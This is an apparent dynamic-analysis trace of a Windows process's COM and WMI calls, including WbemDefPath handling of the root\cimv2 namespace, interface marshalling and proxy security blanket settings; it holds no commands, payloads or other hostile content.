	[0179.196] WbemDefPath:IUnknown:AddRef (This=0x472fcf8) returned 0x2
	[0179.196] WbemDefPath:IUnknown:QueryInterface (in: This=0x472fcf8, riid=0x3ae638*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ae634 | out: ppvObject=0x3ae634*=0x472fcf8) returned 0x0
	[0179.196] WbemDefPath:IUnknown:Release (This=0x472fcf8) returned 0x2
	[0179.196] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x472fcf8, puCount=0x3ae7b0 | out: puCount=0x3ae7b0*=0x0) returned 0x0
	[0179.197] WbemDefPath:IUnknown:Release (This=0x472fcf8) returned 0x1
	[0179.198] CoGetContextToken (in: pToken=0x3ae5e8 | out: pToken=0x3ae5e8) returned 0x0
	[0179.198] CoGetContextToken (in: pToken=0x3ae5a8 | out: pToken=0x3ae5a8) returned 0x0
	[0179.198] WbemDefPath:IUnknown:AddRef (This=0x472fd90) returned 0x2
	[0179.198] WbemDefPath:IUnknown:QueryInterface (in: This=0x472fd90, riid=0x3ae624*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ae620 | out: ppvObject=0x3ae620*=0x472fd90) returned 0x0
	[0179.198] WbemDefPath:IUnknown:Release (This=0x472fd90) returned 0x2
	[0179.198] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x472fd90, puCount=0x3ae79c | out: puCount=0x3ae79c*=0x2) returned 0x0
	[0179.198] WbemDefPath:IUnknown:Release (This=0x472fd90) returned 0x1
	[0179.198] CoGetContextToken (in: pToken=0x3ae5d8 | out: pToken=0x3ae5d8) returned 0x0
	[0179.198] CoGetContextToken (in: pToken=0x3ae598 | out: pToken=0x3ae598) returned 0x0
	[0179.198] WbemDefPath:IUnknown:AddRef (This=0x472fd90) returned 0x2
	[0179.198] WbemDefPath:IUnknown:QueryInterface (in: This=0x472fd90, riid=0x3ae614*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ae610 | out: ppvObject=0x3ae610*=0x472fd90) returned 0x0
	[0179.198] WbemDefPath:IUnknown:Release (This=0x472fd90) returned 0x2
	[0179.198] WbemDefPath:IWbemPath:GetText (in: This=0x472fd90, lFlags=4, puBuffLength=0x3ae798*=0x0, pszText=0x0 | out: puBuffLength=0x3ae798*=0xf, pszText=0x0) returned 0x0
	[0179.198] WbemDefPath:IUnknown:Release (This=0x472fd90) returned 0x1
	[0179.198] CoGetContextToken (in: pToken=0x3ae5d8 | out: pToken=0x3ae5d8) returned 0x0
	[0179.198] CoGetContextToken (in: pToken=0x3ae598 | out: pToken=0x3ae598) returned 0x0
	[0179.199] WbemDefPath:IUnknown:AddRef (This=0x472fd90) returned 0x2
	[0179.199] WbemDefPath:IUnknown:QueryInterface (in: This=0x472fd90, riid=0x3ae614*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ae610 | out: ppvObject=0x3ae610*=0x472fd90) returned 0x0
	[0179.199] WbemDefPath:IUnknown:Release (This=0x472fd90) returned 0x2
	[0179.199] WbemDefPath:IWbemPath:GetText (in: This=0x472fd90, lFlags=4, puBuffLength=0x3ae798*=0xf, pszText="00000000000000" | out: puBuffLength=0x3ae798*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0
	[0179.199] WbemDefPath:IUnknown:Release (This=0x472fd90) returned 0x1
	[0179.199] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x2b4
	[0179.199] GetLastError () returned 0x0
	[0179.199] SetEvent (hEvent=0x278) returned 1
	[0179.199] GetLastError () returned 0x0
	[0179.199] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x3ae700*=0x2b4, lpdwindex=0x3ae4b8 | out: lpdwindex=0x3ae4b8) returned 0x0
	[0179.201] CoGetContextToken (in: pToken=0x3ae550 | out: pToken=0x3ae550) returned 0x0
	[0179.201] CoGetContextToken (in: pToken=0x3ae510 | out: pToken=0x3ae510) returned 0x0
	[0179.201] WbemDefPath:IUnknown:AddRef (This=0x472da88) returned 0x2
	[0179.201] WbemDefPath:IUnknown:QueryInterface (in: This=0x472da88, riid=0x3ae58c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ae588 | out: ppvObject=0x3ae588*=0x472da88) returned 0x0
	[0179.201] WbemDefPath:IUnknown:Release (This=0x472da88) returned 0x2
	[0179.201] WbemDefPath:IUnknown:Release (This=0x472da88) returned 0x1
	[0179.201] CoGetContextToken (in: pToken=0x3ae5d0 | out: pToken=0x3ae5d0) returned 0x0
	[0179.201] CoGetContextToken (in: pToken=0x3ae590 | out: pToken=0x3ae590) returned 0x0
	[0179.201] WbemDefPath:IUnknown:AddRef (This=0x472da88) returned 0x2
	[0179.201] WbemDefPath:IUnknown:QueryInterface (in: This=0x472da88, riid=0x3ae60c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ae608 | out: ppvObject=0x3ae608*=0x472da88) returned 0x0
	[0179.201] WbemDefPath:IUnknown:Release (This=0x472da88) returned 0x2
	[0179.201] WbemDefPath:IWbemPath:SetText (This=0x472da88, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0
	[0179.201] WbemDefPath:IUnknown:Release (This=0x472da88) returned 0x1
	[0179.201] CoGetContextToken (in: pToken=0x3ae5c0 | out: pToken=0x3ae5c0) returned 0x0
	[0179.201] CoGetContextToken (in: pToken=0x3ae580 | out: pToken=0x3ae580) returned 0x0
	[0179.201] WbemDefPath:IUnknown:AddRef (This=0x472da88) returned 0x2
	[0179.202] WbemDefPath:IUnknown:QueryInterface (in: This=0x472da88, riid=0x3ae5fc*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ae5f8 | out: ppvObject=0x3ae5f8*=0x472da88) returned 0x0
	[0179.202] WbemDefPath:IUnknown:Release (This=0x472da88) returned 0x2
	[0179.202] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x472da88, puCount=0x3ae774 | out: puCount=0x3ae774*=0x2) returned 0x0
	[0179.202] WbemDefPath:IUnknown:Release (This=0x472da88) returned 0x1
	[0179.202] CoGetContextToken (in: pToken=0x3ae5b0 | out: pToken=0x3ae5b0) returned 0x0
	[0179.202] CoGetContextToken (in: pToken=0x3ae570 | out: pToken=0x3ae570) returned 0x0
	[0179.202] WbemDefPath:IUnknown:AddRef (This=0x472da88) returned 0x2
	[0179.202] WbemDefPath:IUnknown:QueryInterface (in: This=0x472da88, riid=0x3ae5ec*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ae5e8 | out: ppvObject=0x3ae5e8*=0x472da88) returned 0x0
	[0179.202] WbemDefPath:IUnknown:Release (This=0x472da88) returned 0x2
	[0179.202] WbemDefPath:IWbemPath:GetText (in: This=0x472da88, lFlags=4, puBuffLength=0x3ae770*=0x0, pszText=0x0 | out: puBuffLength=0x3ae770*=0xf, pszText=0x0) returned 0x0
	[0179.202] WbemDefPath:IUnknown:Release (This=0x472da88) returned 0x1
	[0179.202] CoGetContextToken (in: pToken=0x3ae5b0 | out: pToken=0x3ae5b0) returned 0x0
	[0179.202] CoGetContextToken (in: pToken=0x3ae570 | out: pToken=0x3ae570) returned 0x0
	[0179.202] WbemDefPath:IUnknown:AddRef (This=0x472da88) returned 0x2
	[0179.202] WbemDefPath:IUnknown:QueryInterface (in: This=0x472da88, riid=0x3ae5ec*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ae5e8 | out: ppvObject=0x3ae5e8*=0x472da88) returned 0x0
	[0179.202] WbemDefPath:IUnknown:Release (This=0x472da88) returned 0x2
	[0179.202] WbemDefPath:IWbemPath:GetText (in: This=0x472da88, lFlags=4, puBuffLength=0x3ae770*=0xf, pszText="00000000000000" | out: puBuffLength=0x3ae770*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0
	[0179.202] WbemDefPath:IUnknown:Release (This=0x472da88) returned 0x1
	[0179.206] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x3ae670*=0x2c8, lpdwindex=0x3ae4cc | out: lpdwindex=0x3ae4cc) returned 0x0
	[0179.414] CoGetContextToken (in: pToken=0x3ae6f4 | out: pToken=0x3ae6f4) returned 0x0
	[0179.414] CoGetContextToken (in: pToken=0x3ae6a0 | out: pToken=0x3ae6a0) returned 0x0
	[0179.414] IUnknown:QueryInterface (in: This=0x527d90, riid=0x7493beb4*(Data1=0x1da, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ae674 | out: ppvObject=0x3ae674*=0x527da0) returned 0x0
	[0179.414] CObjectContext::ContextCallback () returned 0x0
	[0179.420] IUnknown:Release (This=0x527da0) returned 0x1
	[0179.420] CoUnmarshalInterface (in: pStm=0x57a0d0, riid=0x74887714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3ae6f8 | out: ppv=0x3ae6f8*=0x58459c) returned 0x0
	[0179.420] CoMarshalInterface (pStm=0x57a0d0, riid=0x74887714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x58459c, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0
	[0179.421] IUnknown:QueryInterface (in: This=0x58459c, riid=0x74887714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ae318 | out: ppvObject=0x3ae318*=0x58459c) returned 0x0
	[0179.421] IUnknown:QueryInterface (in: This=0x58459c, riid=0x748a4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x3ae2d4 | out: ppvObject=0x3ae2d4*=0x0) returned 0x80004002
	[0179.421] IUnknown:QueryInterface (in: This=0x58459c, riid=0x747d0b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x3ae1c8 | out: ppvObject=0x3ae1c8*=0x0) returned 0x80004002
	[0179.422] IUnknown:AddRef (This=0x58459c) returned 0x3
	[0179.422] CoGetContextToken (in: pToken=0x3ae160 | out: pToken=0x3ae160) returned 0x0
	[0179.422] CoGetContextToken (in: pToken=0x3ae124 | out: pToken=0x3ae124) returned 0x0
	[0179.422] IUnknown:QueryInterface (in: This=0x527c20, riid=0x748a3ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ae158 | out: ppvObject=0x3ae158*=0x527c2c) returned 0x0
	[0179.422] IComThreadingInfo:GetCurrentApartmentType (in: This=0x527c2c, pAptType=0x3ae188 | out: pAptType=0x3ae188*=3) returned 0x0
	[0179.422] IUnknown:Release (This=0x527c2c) returned 0x1
	[0179.422] IUnknown:QueryInterface (in: This=0x58459c, riid=0x747823cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ae148 | out: ppvObject=0x3ae148*=0x5844fc) returned 0x0
	[0179.422] IMarshal:GetUnmarshalClass (in: This=0x5844fc, riid=0x74887714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x3ae150 | out: pCid=0x3ae150*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0
	[0179.422] IUnknown:Release (This=0x5844fc) returned 0x3
	[0179.423] CoGetContextToken (in: pToken=0x3ae158 | out: pToken=0x3ae158) returned 0x0
	[0179.423] IUnknown:AddRef (This=0x58459c) returned 0x4
	[0179.423] IUnknown:QueryInterface (in: This=0x58459c, riid=0x747d767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ae1cc | out: ppvObject=0x3ae1cc*=0x584584) returned 0x0
	[0179.423] IUnknown:Release (This=0x58459c) returned 0x4
	[0179.423] IRpcOptions:Query (in: This=0x584584, pPrx=0x58459c, dwProperty=2, pdwValue=0x3ae1f0 | out: pdwValue=0x3ae1f0) returned 0x0
	[0179.423] IUnknown:Release (This=0x584584) returned 0x3
	[0179.423] IUnknown:Release (This=0x58459c) returned 0x2
	[0179.423] IUnknown:Release (This=0x58459c) returned 0x1
	[0179.424] CoGetContextToken (in: pToken=0x3ae1b4 | out: pToken=0x3ae1b4) returned 0x0
	[0179.424] IUnknown:AddRef (This=0x58459c) returned 0x2
	[0179.424] IUnknown:QueryInterface (in: This=0x58459c, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ae458 | out: ppvObject=0x3ae458*=0x58457c) returned 0x0
	[0179.424] IClientSecurity:QueryBlanket (in: This=0x58457c, pProxy=0x58459c, pAuthnSvc=0x3ae4a0, pAuthzSvc=0x3ae49c, pServerPrincName=0x3ae4ac, pAuthnLevel=0x3ae4a4, pImpLevel=0x3ae490, pAuthInfo=0x3ae494, pCapabilites=0x3ae498 | out: pAuthnSvc=0x3ae4a0*=0xa, pAuthzSvc=0x3ae49c*=0x0, pServerPrincName=0x3ae4ac, pAuthnLevel=0x3ae4a4*=0x6, pImpLevel=0x3ae490*=0x2, pAuthInfo=0x3ae494, pCapabilites=0x3ae498*=0x1) returned 0x0
	[0179.424] IUnknown:Release (This=0x58457c) returned 0x2
	[0179.424] IUnknown:QueryInterface (in: This=0x58459c, riid=0x6a311250*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ae44c | out: ppvObject=0x3ae44c*=0x58459c) returned 0x0
	[0179.424] IUnknown:QueryInterface (in: This=0x58459c, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ae448 | out: ppvObject=0x3ae448*=0x58457c) returned 0x0
	[0179.424] IClientSecurity:SetBlanket (This=0x58457c, pProxy=0x58459c, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0
	[0179.424] IUnknown:Release (This=0x58457c) returned 0x3
	[0179.424] IUnknown:Release (This=0x58459c) returned 0x2
	[0179.424] CoTaskMemFree (pv=0x560460) 
	[0179.424] IUnknown:Release (This=0x58459c) returned 0x1
	[0179.451] SysStringLen (param_1=0x0) returned 0x0
	[0179.452] GetLastError () returned 0x7e
	[0179.452] CoGetContextToken (in: pToken=0x3ae5d4 | out: pToken=0x3ae5d4) returned 0x0
	[0179.452] CoGetContextToken (in: pToken=0x3ae594 | out: pToken=0x3ae594) returned 0x0
	[0179.452] IUnknown:AddRef (This=0x58459c) returned 0x2
	[0179.453] IUnknown:QueryInterface (in: This=0x58459c, riid=0x3ae610*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x3ae60c | out: ppvObject=0x3ae60c*=0x472dc64) returned 0x0
	[0179.453] IUnknown:Release (This=0x58459c) returned 0x2
	[0179.453] IUnknown:Release (This=0x472dc64) returned 0x1
	[0179.453] CoGetContextToken (in: pToken=0x3ae168 | out: pToken=0x3ae168) returned 0x0
	[0179.453] CoGetContextToken (in: pToken=0x3ae128 | out: pToken=0x3ae128) returned 0x0
	[0179.454] IUnknown:AddRef (This=0x58459c) returned 0x2
	[0179.454] IUnknown:QueryInterface (in: This=0x58459c, riid=0x3ae1a4*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x3ae1a0 | out: ppvObject=0x3ae1a0*=0x472dc64) returned 0x0
	[0179.454] IUnknown:Release (This=0x58459c) returned 0x2
	[0179.454] IUnknown:AddRef (This=0x472dc64) returned 0x3
	[0179.454] IUnknown:QueryInterface (in: This=0x472dc64, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ae458 | out: ppvObject=0x3ae458*=0x58457c) returned 0x0
	[0179.454] IClientSecurity:QueryBlanket (in: This=0x58457c, pProxy=0x472dc64, pAuthnSvc=0x3ae4a0, pAuthzSvc=0x3ae49c, pServerPrincName=0x3ae4ac, pAuthnLevel=0x3ae4a4, pImpLevel=0x3ae490, pAuthInfo=0x3ae494, pCapabilites=0x3ae498 | out: pAuthnSvc=0x3ae4a0*=0xa, pAuthzSvc=0x3ae49c*=0x0, pServerPrincName=0x3ae4ac, pAuthnLevel=0x3ae4a4*=0x6, pImpLevel=0x3ae490*=0x2, pAuthInfo=0x3ae494, pCapabilites=0x3ae498*=0x1) returned 0x0
	[0179.454] IUnknown:Release (This=0x58457c) returned 0x3
	[0179.454] IUnknown:QueryInterface (in: This=0x472dc64, riid=0x6a311250*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ae44c | out: ppvObject=0x3ae44c*=0x58459c) returned 0x0
	[0179.454] IUnknown:QueryInterface (in: This=0x472dc64, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ae448 | out: ppvObject=0x3ae448*=0x58457c) returned 0x0
	[0179.454] IClientSecurity:SetBlanket (This=0x58457c, pProxy=0x472dc64, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0
	[0179.455] IUnknown:Release (This=0x58457c) returned 0x4
	[0179.455] IUnknown:Release (This=0x58459c) returned 0x3
	[0179.455] CoTaskMemFree (pv=0x5605b0) 
	[0179.455] IUnknown:Release (This=0x472dc64) returned 0x2
	[0179.455] SysStringLen (param_1=0x0) returned 0x0
	[0179.455] GetLastError () returned 0x0
	[0179.455] CoGetContextToken (in: pToken=0x3ae5d8 | out: pToken=0x3ae5d8) returned 0x0
	[0179.455] CoGetContextToken (in: pToken=0x3ae598 | out: pToken=0x3ae598) returned 0x0
	[0179.455] WbemDefPath:IUnknown:AddRef (This=0x472da88) returned 0x3
	[0179.455] WbemDefPath:IUnknown:QueryInterface (in: This=0x472da88, riid=0x3ae614*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ae610 | out: ppvObject=0x3ae610*=0x472da88) returned 0x0
	[0179.456] WbemDefPath:IUnknown:Release (This=0x472da88) returned 0x3
	[0179.456] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x472da88, puCount=0x3ae78c | out: puCount=0x3ae78c*=0x2) returned 0x0
	[0179.456] WbemDefPath:IUnknown:Release (This=0x472da88) returned 0x2
	[0179.456] CoGetContextToken (in: pToken=0x3ae5c8 | out: pToken=0x3ae5c8) returned 0x0
	[0179.456] CoGetContextToken (in: pToken=0x3ae588 | out: pToken=0x3ae588) returned 0x0
	[0179.456] WbemDefPath:IUnknown:AddRef (This=0x472da88) returned 0x3
	[0179.456] WbemDefPath:IUnknown:QueryInterface (in: This=0x472da88, riid=0x3ae604*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ae600 | out: ppvObject=0x3ae600*=0x472da88) returned 0x0
	[0179.456] WbemDefPath:IUnknown:Release (This=0x472da88) returned 0x3
	[0179.456] WbemDefPath:IWbemPath:GetText (in: This=0x472da88, lFlags=4, puBuffLength=0x3ae788*=0x0, pszText=0x0 | out: puBuffLength=0x3ae788*=0xf, pszText=0x0) returned 0x0
	[0179.456] WbemDefPath:IUnknown:Release (This=0x472da88) returned 0x2
	[0179.457] CoGetContextToken (in: pToken=0x3ae5c8 | out: pToken=0x3ae5c8) returned 0x0
	[0179.457] CoGetContextToken (in: pToken=0x3ae588 | out: pToken=0x3ae588) returned 0x0
	[0179.457] WbemDefPath:IUnknown:AddRef (This=0x472da88) returned 0x3
	[0179.457] WbemDefPath:IUnknown:QueryInterface (in: This=0x472da88, riid=0x3ae604*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ae600 | out: ppvObject=0x3ae600*=0x472da88) returned 0x0
	[0179.457] WbemDefPath:IUnknown:Release (This=0x472da88) returned 0x3
	[0179.457] WbemDefPath:IWbemPath:GetText (in: This=0x472da88, lFlags=4, puBuffLength=0x3ae788*=0xf, pszText="00000000000000" | out: puBuffLength=0x3ae788*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0
	[0179.457] WbemDefPath:IUnknown:Release (This=0x472da88) returned 0x2
	[0179.457] CoGetContextToken (in: pToken=0x3ae664 | out: pToken=0x3ae664) returned 0x0
	[0179.458] CoUnmarshalInterface (in: pStm=0x57a0d0, riid=0x74887714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3ae668 | out: ppv=0x3ae668*=0x58459c) returned 0x0
	[0179.458] CoMarshalInterface (pStm=0x57a0d0, riid=0x74887714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x58459c, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0
	[0179.458] IUnknown:QueryInterface (in: This=0x58459c, riid=0x74887714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ae288 | out: ppvObject=0x3ae288*=0x58459c) returned 0x0
	[0179.458] IUnknown:Release (This=0x58459c) returned 0x3
	[0179.458] IUnknown:Release (This=0x58459c) returned 0x2
	[0179.458] CoGetContextToken (in: pToken=0x3ae124 | out: pToken=0x3ae124) returned 0x0
	[0179.458] IUnknown:AddRef (This=0x58459c) returned 0x3
	[0179.459] IUnknown:QueryInterface (in: This=0x58459c, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ae3c8 | out: ppvObject=0x3ae3c8*=0x58457c) returned 0x0
	[0179.459] IClientSecurity:QueryBlanket (in: This=0x58457c, pProxy=0x58459c, pAuthnSvc=0x3ae410, pAuthzSvc=0x3ae40c, pServerPrincName=0x3ae41c, pAuthnLevel=0x3ae414, pImpLevel=0x3ae400, pAuthInfo=0x3ae404, pCapabilites=0x3ae408 | out: pAuthnSvc=0x3ae410*=0xa, pAuthzSvc=0x3ae40c*=0x0, pServerPrincName=0x3ae41c, pAuthnLevel=0x3ae414*=0x6, pImpLevel=0x3ae400*=0x3, pAuthInfo=0x3ae404, pCapabilites=0x3ae408*=0x20) returned 0x0
	[0179.459] IUnknown:Release (This=0x58457c) returned 0x3
	[0179.459] IUnknown:QueryInterface (in: This=0x58459c, riid=0x6a311250*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ae3bc | out: ppvObject=0x3ae3bc*=0x58459c) returned 0x0
	[0179.459] IUnknown:QueryInterface (in: This=0x58459c, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ae3b8 | out: ppvObject=0x3ae3b8*=0x58457c) returned 0x0
	[0179.459] IClientSecurity:SetBlanket (This=0x58457c, pProxy=0x58459c, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0
	[0179.459] IUnknown:Release (This=0x58457c) returned 0x4
	[0179.459] IUnknown:Release (This=0x58459c) returned 0x3
	[0179.459] IUnknown:Release (This=0x58459c) returned 0x2
	[0179.459] SysStringLen (param_1=0x0) returned 0x0
	[0179.459] GetLastError () returned 0x0
	[0179.459] CoGetContextToken (in: pToken=0x3ae544 | out: pToken=0x3ae544) returned 0x0
	[0179.459] IUnknown:AddRef (This=0x472dc64) returned 0x3
	[0179.459] IUnknown:Release (This=0x472dc64) returned 0x2
	[0179.459] CoGetContextToken (in: pToken=0x3ae0d8 | out: pToken=0x3ae0d8) returned 0x0
	[0179.459] IUnknown:AddRef (This=0x472dc64) returned 0x3
	[0179.460] IUnknown:QueryInterface (in: This=0x472dc64, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ae3c8 | out: ppvObject=0x3ae3c8*=0x58457c) returned 0x0
	[0179.460] IClientSecurity:QueryBlanket (in: This=0x58457c, pProxy=0x472dc64, pAuthnSvc=0x3ae410, pAuthzSvc=0x3ae40c, pServerPrincName=0x3ae41c, pAuthnLevel=0x3ae414, pImpLevel=0x3ae400, pAuthInfo=0x3ae404, pCapabilites=0x3ae408 | out: pAuthnSvc=0x3ae410*=0xa, pAuthzSvc=0x3ae40c*=0x0, pServerPrincName=0x3ae41c, pAuthnLevel=0x3ae414*=0x6, pImpLevel=0x3ae400*=0x3, pAuthInfo=0x3ae404, pCapabilites=0x3ae408*=0x20) returned 0x0
	[0179.460] IUnknown:Release (This=0x58457c) returned 0x3
